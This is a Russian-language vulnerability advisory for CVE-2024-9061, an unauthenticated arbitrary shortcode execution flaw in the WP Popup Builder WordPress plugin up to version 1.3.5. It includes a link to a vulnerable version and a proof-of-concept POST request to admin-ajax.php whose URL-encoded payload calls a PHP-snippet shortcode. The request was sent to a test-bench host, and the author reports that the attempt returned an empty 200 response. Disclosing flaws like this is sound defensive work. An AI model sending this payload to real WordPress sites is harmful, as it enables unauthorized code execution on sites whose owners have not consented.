
WP Popup Builder – Формы всплывающих окон и генерация лидов для маркетинга <= 1.3.5 - Неаутентифицированное произвольное выполнение шорткодов через wp_ajax_nopriv_shortcode_Api_Add
WP Popup Builder – Popup Forms и Marketing Lead Generation <= 1.3.5 - Неаутентифицированное произвольное выполнение шорткодов через wp_ajax_nopriv_shortcode_Api_Add
Плагин WP Popup Builder – Popup Forms и Marketing Lead Generation для WordPress уязвим к выполнению произвольных шорткодов через AJAX-действие wp_ajax_nopriv_shortcode_Api_Add во всех версиях до 1.3.5 включительно. Это связано с тем, что программное обеспечение позволяет пользователям выполнять действие, которое не проверяет значение должным образом перед запуском do_shortcode. Это позволяет неаутентифицированным злоумышленникам выполнять произвольные шорткоды. ПРИМЕЧАНИЕ: Эта уязвимость была частично исправлена в версии 1.3.5 с помощью проверки nonce, что фактически предотвратило доступ к затронутой функции. Однако версия 1.3.6 включает правильную проверку авторизации для предотвращения несанкционированного доступа.
У меня был установлен другой плагин для выполнения PHP для этого, но так и не удалось его выполнить.
[xyz-ips snippet="test"]
Type: plugin
CVSS Score: 7.3
CVE: CVE-2024-9061
Slug: wp-popup-builder
Download Link: Download [wp-popup-builder Version 1.3.2](https://downloads.wordpress.org/plugin/wp-popup-builder.1.3.2.zip)
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: wpscan-vulnerability-test-bench.ddev.site
User-Agent: curl/8.7.1
Accept: */*
Content-Type: application/x-www-form-urlencoded
Content-Length: 107
Connection: keep-alive
action=shortcode_Api_Add&shortcode=%5b%78%79%7a%2d%69%70%73%20%73%6e%69%70%70%65%74%3d%22%74%65%73%74%22%5d
Ответ — пустой 200